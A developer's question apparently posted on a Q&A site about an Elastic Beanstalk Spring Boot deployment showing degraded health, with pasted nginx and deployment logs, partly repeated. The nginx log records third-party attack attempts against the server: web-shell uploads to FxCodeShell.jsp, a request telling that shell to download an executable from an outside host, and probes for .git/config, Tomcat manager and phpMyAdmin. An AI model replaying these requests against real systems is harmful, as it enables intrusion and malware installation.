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Deployment issue of Java spring boot App on AWS


Issue in deployment of react app in netlifyIs Java “pass-by-reference” or “pass-by-value”?How do I efficiently iterate over each entry in a Java Map?How do I read / convert an InputStream into a String in Java?When to use LinkedList over ArrayList in Java?How do I generate random integers within a specific range in Java?How do I convert a String to an int in Java?Creating a memory leak with JavaWhat's the difference between @Component, @Repository & @Service annotations in Spring?Unable to access spring boot application hosted on EBS502 bad gateway Elastic Beanstalk Spring Boot






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0















  • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

  • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

  • I collected error logs and researched shows results related to nginx connection lost issue

  • can you guys help to me figure out what mistake occured with your suggestions

  • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


  • Mentioned errors in the log file are



    /var/log/nginx/error.log




    2019/03/24 16:40:01 [error] 3647#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 62.176.27.243, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/24 19:51:07 [error] 3647#0: *3 connect() failed (111: Connection refused) while connecting to upstream, client: 178.73.215.171, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



    2019/03/24 21:17:17 [error] 3647#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 138.0.227.98, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/24 21:53:33 [error] 3647#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 109.199.251.172, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 02:23:47 [error] 3647#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 96.127.158.234, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



    2019/03/25 04:35:27 [error] 3647#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 04:35:27 [error] 3647#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 04:35:27 [error] 3647#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 05:11:44 [error] 3647#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 177.215.69.235, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 05:45:33 [error] 3647#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 107.170.198.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



    2019/03/25 06:12:52 [error] 3647#0: *21 connect() failed (111: Connection refused) while connecting to upstream, client: 2.78.57.211, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 06:45:10 [error] 3647#0: *23 connect() failed (111: Connection refused) while connecting to upstream, client: 201.43.129.128, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 09:52:47 [error] 3647#0: *25 connect() failed (111: Connection refused) while connecting to upstream, client: 92.38.106.94, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 11:16:00 [error] 3647#0: *27 connect() failed (111: Connection refused) while connecting to upstream, client: 177.9.249.34, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 11:24:28 [error] 3647#0: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 79.16.154.57, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 12:04:23 [error] 3647#0: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 177.103.123.176, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 12:36:34 [error] 3647#0: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 93.115.226.50, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



    2019/03/25 14:12:56 [error] 3647#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 125.64.94.197, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



    2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "year" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



    2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "month" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



    2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "day" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



    2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "hour" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



    2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp%20"
    2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp::$DATA HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp::$DATA", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp::$DATA"
    2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp/ HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp/", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp/"
    2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe"
    2019/03/25 15:20:45 [error] 3647#0: *43 connect() failed (111: Connection refused) while connecting to upstream, client: 36.68.204.27, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/25 17:08:14 [error] 3647#0: *46 connect() failed (111: Connection refused) while connecting to upstream, client: 103.240.91.110, server: , request: "GET /manager/html HTTP/1.1", upstream: "http://127.0.0.1:5000/manager/html", host: "18.224.86.21"
    2019/03/25 17:51:20 [error] 3647#0: *48 connect() failed (111: Connection refused) while connecting to upstream, client: 34.207.185.88, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
    2019/03/25 18:07:40 [error] 3647#0: *50 connect() failed (111: Connection refused) while connecting to upstream, client: 103.242.59.230, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/25 19:48:41 [error] 3647#0: *52 connect() failed (111: Connection refused) while connecting to upstream, client: 45.238.164.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "year" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
    2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "month" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
    2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "day" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
    2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "hour" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
    2019/03/25 21:46:32 [error] 13686#0: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 185.228.80.33, server: , request: "GET /telephony-service.html HTTP/1.1", upstream: "http://127.0.0.1:5000/telephony-service.html", host: "18.224.86.21"
    2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "year" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
    2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "month" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
    2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "day" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
    2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "hour" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
    2019/03/25 22:18:47 [error] 13686#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 185.20.6.41, server: , request: "GET /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21"
    2019/03/25 22:35:11 [error] 13686#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 110.137.176.241, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 01:22:37 [error] 13686#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 145.239.81.228, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
    2019/03/26 01:50:00 [error] 13686#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 148.163.128.145, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
    2019/03/26 02:29:45 [error] 13686#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 194.44.86.82, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 03:02:47 [error] 13686#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.106.181, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
    2019/03/26 03:16:02 [error] 13686#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 139.180.216.25, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:5000/.git/config", host: "18.224.86.21"
    2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "year" variable while logging request, client: 139.180.216.25, server: , request: "�"
    2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "month" variable while logging request, client: 139.180.216.25, server: , request: "�"
    2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "day" variable while logging request, client: 139.180.216.25, server: , request: "�"
    2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "hour" variable while logging request, client: 139.180.216.25, server: , request: "�"
    2019/03/26 07:54:23 [error] 13686#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 189.159.133.125, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 08:30:35 [error] 13686#0: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 216.245.197.254, server: , request: "HEAD /robots.txt HTTP/1.0", upstream: "http://127.0.0.1:5000/robots.txt"
    2019/03/26 09:17:56 [error] 13686#0: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.104.108.109, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 09:42:10 [error] 13686#0: *26 connect() failed (111: Connection refused) while connecting to upstream, client: 80.50.114.42, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 11:07:48 [error] 13686#0: *28 connect() failed (111: Connection refused) while connecting to upstream, client: 177.73.2.111, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 11:44:24 [error] 13686#0: *30 connect() failed (111: Connection refused) while connecting to upstream, client: 124.158.168.182, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/index.php", host: "18.224.86.21"
    2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /phpmyadmin/index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/phpmyadmin/index.php", host: "18.224.86.21"
    2019/03/26 12:16:28 [error] 13686#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 5.219.91.56, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 12:26:05 [error] 13686#0: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 177.189.43.78, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
    2019/03/26 13:21:12 [error] 13686#0: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 201.18.41.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"




    /var/log/eb-activity.log



     creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/
     creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/


    extracting: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst

    inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar

    inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar.original

    creating: /var/app/staging/StudentCousr/target/test-classes/
    Executing: HOME=/tmp /opt/elasticbeanstalk/lib/ruby/bin/ruby /opt/elasticbeanstalk/lib/ruby/bin/foreman export supervisord --procfile /var/app/staging/Procfile --root /var/app/current --app application --log /var/log/ --user webapp --template /opt/elasticbeanstalk/private/config/foreman/supervisord --env /var/elasticbeanstalk/staging/elasticbeanstalk.env /var/elasticbeanstalk/staging/supervisor
    [foreman export] writing: application.conf
    Executing: /opt/elasticbeanstalk/bin/log-conf -n supervisor -l'/var/log/supervisord.log' -t bundlelogs



    Executing: /opt/elasticbeanstalk/bin/log-conf -n containerlistener -l'/var/log/eb-container-listener.log' -t bundlelogs



    [2019-03-25T20:05:16.005Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Starting activity...
    [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Completed activity.
    [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Starting activity...
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Completed activity. Result:
    Executing: /opt/elasticbeanstalk/bin/log-conf -n nginx -l'/var/log/nginx/*'



    Executing: /usr/sbin/nginx -t -c /var/elasticbeanstalk/staging/nginx/nginx.conf
    nginx: the configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf syntax is ok
    nginx: configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf test is successful
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook] : Completed activity. Result:
    Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/pre.
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0] : Completed activity. Result:
    Application restart - Command CMD-RestartAppServer stage 0 completed
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Starting activity...
    [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Starting activity...
    [2019-03-25T20:05:16.288Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Starting activity...
    [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Completed activity. Result:
    Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop application:*



    Process termination taking longer than 10 seconds.
    Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop all
    listener:supervisor_listener: stopped
    Executing: /sbin/status supervisord
    supervisord start/running, process 3598
    Executing: /sbin/stop supervisord
    supervisord stop/waiting
    [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Starting activity...
    [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Completed activity. Result:
    Executing: if ( initctl status xray | grep start ); then initctl stop xray; fi



    [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Starting activity...
    [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Completed activity.
    [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Starting activity...
    [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Completed activity. Result:
    Executing: service nginx stop
    Stopping nginx: [ OK ]
    [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Starting activity...
    [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Completed activity. Result:
    Executing: /sbin/start supervisord
    supervisord start/running, process 13637
    [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Starting activity...
    [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Completed activity. Result:
    Executing: service nginx stop



    Executing: service nginx start
    Starting nginx: [ OK ]
    Executing: /opt/elasticbeanstalk/bin/healthd-track-pidfile --proxy nginx



    Executing: /opt/elasticbeanstalk/bin/healthd-configure --appstat-log-path /var/log/nginx/healthd/application.log --appstat-unit sec --appstat-timestamp-on 'completion'



    Executing: /opt/elasticbeanstalk/bin/healthd-restart



    [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Starting activity...
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Completed activity.
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Completed activity. Result:
    Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/enact.
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Starting activity...
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Completed activity. Result:
    Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/post.
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Completed activity. Result:
    Application restart - Command CMD-RestartAppServer stage 1 completed
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter] : Starting activity...
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Starting activity...
    [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Starting activity...
    [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Completed activity. Result:
    Disabled forced hourly log rotation.
    [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Completed activity. Result:
    Successfully execute hooks in directory /opt/elasticbeanstalk/addons/logpublish/hooks/config.
    [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter] : Completed activity.
    [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart] : Completed activity. Result:
    Application restart - Command CMD-RestartAppServer succeeded
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs] : Starting activity...
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Starting activity...
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Completed activity.
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Starting activity...
    [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
    CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Starting activity...
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Completed activity.
    [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs] : Completed activity. Result:
    CMD-TailLogs - Command CMD-TailLogs succeeded
    [2019-03-26T14:07:24.343Z] INFO [14928] - [CMD-TailLogs] : Starting activity...
    [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Starting activity...
    [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Completed activity.
    [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs] : Starting activity...
    [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...







java spring amazon-web-services spring-boot amazon-elastic-beanstalk







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    • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

    • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

    • I collected error logs and researched shows results related to nginx connection lost issue

    • can you guys help to me figure out what mistake occured with your suggestions

    • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


    • Mentioned errors in the log file are



      /var/log/nginx/error.log




      2019/03/24 16:40:01 [error] 3647#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 62.176.27.243, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/24 19:51:07 [error] 3647#0: *3 connect() failed (111: Connection refused) while connecting to upstream, client: 178.73.215.171, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



      2019/03/24 21:17:17 [error] 3647#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 138.0.227.98, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/24 21:53:33 [error] 3647#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 109.199.251.172, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 02:23:47 [error] 3647#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 96.127.158.234, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



      2019/03/25 04:35:27 [error] 3647#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 04:35:27 [error] 3647#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 04:35:27 [error] 3647#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 05:11:44 [error] 3647#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 177.215.69.235, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 05:45:33 [error] 3647#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 107.170.198.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



      2019/03/25 06:12:52 [error] 3647#0: *21 connect() failed (111: Connection refused) while connecting to upstream, client: 2.78.57.211, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 06:45:10 [error] 3647#0: *23 connect() failed (111: Connection refused) while connecting to upstream, client: 201.43.129.128, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 09:52:47 [error] 3647#0: *25 connect() failed (111: Connection refused) while connecting to upstream, client: 92.38.106.94, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 11:16:00 [error] 3647#0: *27 connect() failed (111: Connection refused) while connecting to upstream, client: 177.9.249.34, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 11:24:28 [error] 3647#0: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 79.16.154.57, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 12:04:23 [error] 3647#0: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 177.103.123.176, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 12:36:34 [error] 3647#0: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 93.115.226.50, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



      2019/03/25 14:12:56 [error] 3647#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 125.64.94.197, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



      2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "year" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



      2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "month" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



      2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "day" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



      2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "hour" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



      2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp%20"
      2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp::$DATA HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp::$DATA", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp::$DATA"
